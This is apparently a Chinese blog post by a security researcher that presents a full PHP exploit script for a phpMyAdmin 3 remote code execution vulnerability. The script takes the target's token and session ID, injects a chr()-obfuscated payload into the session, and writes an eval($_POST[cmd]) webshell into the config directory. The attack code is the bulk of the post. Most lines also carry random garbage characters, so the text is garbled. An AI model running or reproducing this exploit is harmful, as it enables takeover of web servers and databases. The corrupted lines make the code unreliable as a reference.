最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
4 R; @: I8 I6 J; k9 m o/ g. k) t3 Q1 X( M6 R
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
$ Y1 L* Y' ^2 ^" d" P7 u# X3 q; I L* r- C, \& {9 h* `
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
* d4 [7 w* x0 J$ A. ]一是session.auto_start = 1;; G6 b4 \7 c* B2 @# S4 {
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。5 d* `! g5 ^. x
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
. C9 }7 y o ^: \! l
, C3 v4 A5 G; c+ O, B在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。/ n8 n/ Q% b7 q8 B2 O: l' n1 a0 z5 |
6 _' f/ [; d M+ F8 G6 `于是写了这个php版本的exp,代码如下:2 Q3 s+ ^% U0 M) S; U
/ d' K# Z5 u1 E' Q- U) R
#!/usr/bin/php' y5 D& q$ _: G
<?php; t: r, ]& A6 I9 q! i- i* _) r$ \
print_r('+ K# S" E. r/ S+ F: l# h
+---------------------------------------------------------------------------+* b% ^4 L* @3 t% E0 B# |3 n
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]' B7 U* y! G6 h$ G s, y
by oldjun(www.oldjun.com)
" P8 H( `7 x. y+ uwelcome to www.t00ls.net) W; C6 n1 ^% o+ }: |/ g
mail: oldjun@gmail.com
5 m7 f' ~2 S5 P9 z& U( F; UAssigned CVE id: CVE-2011-25053 W( N# h4 c- ?! p: h
+---------------------------------------------------------------------------+
2 {4 \ [; f2 ~9 x+ E0 ~5 @');
4 y4 B/ J4 \2 i& M* @# T; y/ U4 }) i+ f! T* H8 W0 R
/**
& f0 `) k3 H8 k* c * working when the directory:"config" exists and is writeable.# D+ k, }# Z0 T8 F
**/4 N" n) s+ P0 G3 s0 W
8 N2 d$ g: q% X7 x# h% D1 o
if ($argc < 3) {4 `$ _7 J4 B/ E, }' h
print_r('$ Z1 w) ]6 @; p: X! S: ?* Y! u
+---------------------------------------------------------------------------+
4 d3 F5 t- M; e0 G( DUsage: php '.$argv[0].' host path
, k" H$ m3 K/ B% y7 K1 j khost: target server (ip/hostname)0 w; h$ N7 N+ `0 v2 ^. }
path: path to pma3
1 M8 i5 Q* h/ q5 fExample:
2 L8 |' z; G% r- @php '.$argv[0].' localhost /pma/' u0 J4 K; d5 O* Q' T- w" H
+---------------------------------------------------------------------------+
, J) O I7 {$ C* ?8 K');5 ~6 ^/ U9 B/ ^0 a
exit;9 `; k# I$ e. w3 }
}5 R. w" n X; t8 [# _) B$ x( H# |
$ Y5 c$ r( h& Q+ u9 C$host = $argv[1];
/ c" f' `# |! z& c9 @$path = $argv[2];: ^ Z6 u- L( E/ _6 R3 o5 S
! l* I3 Q/ L( G7 N* y1 J& R3 M5 F* v/**
) j+ v. ~1 }7 f * Try to determine if the directory:"config" exists3 N+ k9 @4 N. i5 u5 A
**/
1 P2 z$ e" i( F( m0 n4 f) decho "[+] Try to determine if the directory:config exists....\n";, I4 F% B9 [; ^/ f8 o# J+ k% E
$returnstr=php_request('config/');
# o& i, ]' e: `) h( `if(strpos($returnstr,'404')){+ z5 e; c% R/ N+ A, K" o
exit("[-] Exploit Failed! The directory:config do not exists!\n");- V' J) w2 h* p+ C6 }4 y
}# N5 Q+ G5 a% o, q; G! @6 m
7 U8 T+ R" o, b/**
. I) U1 P+ m7 |9 _7 F * Try to get token and sessionid: M, _3 o2 i9 |5 P2 H9 u, @
**/; M8 y, @# M9 S* @
echo "[+] Try to get token and sessionid....\n";# m8 I* k/ C0 _% ~ b
$result=php_request('index.php');
& Z p% g3 q' n; P: L ^2 B! kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);) F6 y! _3 T( `" h; K# }7 J* `
$token=$resp[3];
' S) @( n2 j4 a1 \+ l. j0 Q$sessionid=$resp[1];; _- J# ~( h8 m0 z5 J, [ T
if($token && $sessionid){( b. B9 Q) K* H1 _2 L1 K4 e
echo "[+] token token\n";
) Y% r o' D' J echo "[+] Session ID sessionid\n";0 f# p: }4 ~, E8 R# g
}else{
6 j5 }7 v4 w0 ^8 R2 B( _$ {' @" u' q3 _/ d exit("[-] Can't get token and Session ID,Exploit Failed!\n");
% a, g% ]7 s+ F; u0 s, k}
6 }9 C9 B7 `$ D8 G0 N' Z& B0 l
h$ ?4 r6 ]8 G% q) \1 |+ w# N K* q( s/**
/ K2 {* ^3 x% g) `3 P2 m# E * Try to insert shell into session$ ?: |& u( R) {* w& i( o
**/
/ _& }1 N) B) j& [( U) Becho "[+] Try to insert shell into session....\n";
9 A) j% ^ V; W6 Pphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
& N9 y- P1 O. s( P$ r3 R. g; W6 H
/**
9 w1 R7 `0 P5 g2 O8 c( Q' ? E7 @ * Try to create webshell% G/ K9 c, J9 Y; ^9 w) D% V8 r
**/
2 P$ ]* ~; `$ m0 Q" secho "[+] Try to create webshell....\n";$ P* r. _+ n0 w8 z
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
" B3 ~1 V& l* V. K: n' b/**" [+ r8 v7 Y) S
* Try to check if the webshell was created successfully& I8 J1 E+ ~& l9 U; K5 r$ G- U
**/7 Y7 U6 r8 e! t4 P; J k
echo "[+] Try to check if the webshell was created successfully....\n";
; c; a' [" U! I) p9 F" s8 A5 X$content=php_request('config/config.inc.php');1 y6 a! j& u0 U; t$ ]
if(strpos($content,'t00ls')){* b0 j: ~3 @0 Y# y9 V+ i5 ?
echo "[+] Congratulations! Expoilt successfully....\n";. y- P; b4 L( _% ]
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: o8 T; [9 R+ i3 B6 i/ @}else{
, V3 Q, x5 }4 Z! Q* ^& o* q exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");# e4 y& a! @, m" Y* b& C
}4 p: n+ n1 s3 F3 a9 k
# ?2 k! \& F2 z( H" D" V6 }
function php_request($url,$data='',$cookie=''){
' B/ @. x, U" k9 H global $host, $path;% Q0 @$ {% [' H! N6 S
+ n/ W% E0 o1 u% ^ Q
$method=$data?'POST':'GET';
7 K/ m3 N M2 h, b6 M- G, }
4 }0 ~2 z3 D4 \ $packet = $method." ".$path.$url." HTTP/1.1\r\n";" j4 }" j% S; Z+ k
$packet .= "Accept: */*\r\n";
9 ~+ |4 W7 `( S( o* O+ q $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
u" q- l; m; W: c; d9 Q $packet .= "Host: $host\r\n";
" ?6 S- Y' [; w; b6 J* ]6 b $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";; ]' ~" u* O- G( E7 S
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
3 d8 p: p% }4 P" n7 G $packet .= $cookie?"Cookie: $cookie\r\n":"";1 e- W# c7 ?% \+ o, v n6 x
$packet .= "Connection: Close\r\n\r\n";2 W3 V2 z( B! c" h5 i
$packet .= $data?$data:"";* `! U) G' o8 C2 `. p' w
! T, Q2 r) a# d
$fp = fsockopen(gethostbyname($host), 80);: Q) L$ o3 j" X$ Z) X- ?
if (!$fp) {
. [1 J9 F- _2 t echo 'No response from '.$host; die;
- o$ P' T6 b% z+ v. g }
8 n- O+ Q5 ]5 B+ \+ q; e fputs($fp, $packet);
. N0 W$ z8 H$ x3 F; d2 {
2 X* x9 _# G7 x2 V2 i# G. t $resp = '';, N: \8 J' C$ r. Q
# q1 v" ^3 y+ o
while ($fp && !feof($fp)): j; v/ Q$ P- Z
$resp .= fread($fp, 1024);" e" b3 d5 J% n7 }: e2 \. s( I4 U6 p
: s i( Z; [+ X7 D, e
return $resp;5 _4 M" I' i1 B6 N0 F: R- q
}7 @$ v* Z, P4 ~1 c N0 I
) r0 ?$ z. t2 G5 g. |: o?>
( i. I2 Y7 d& f. |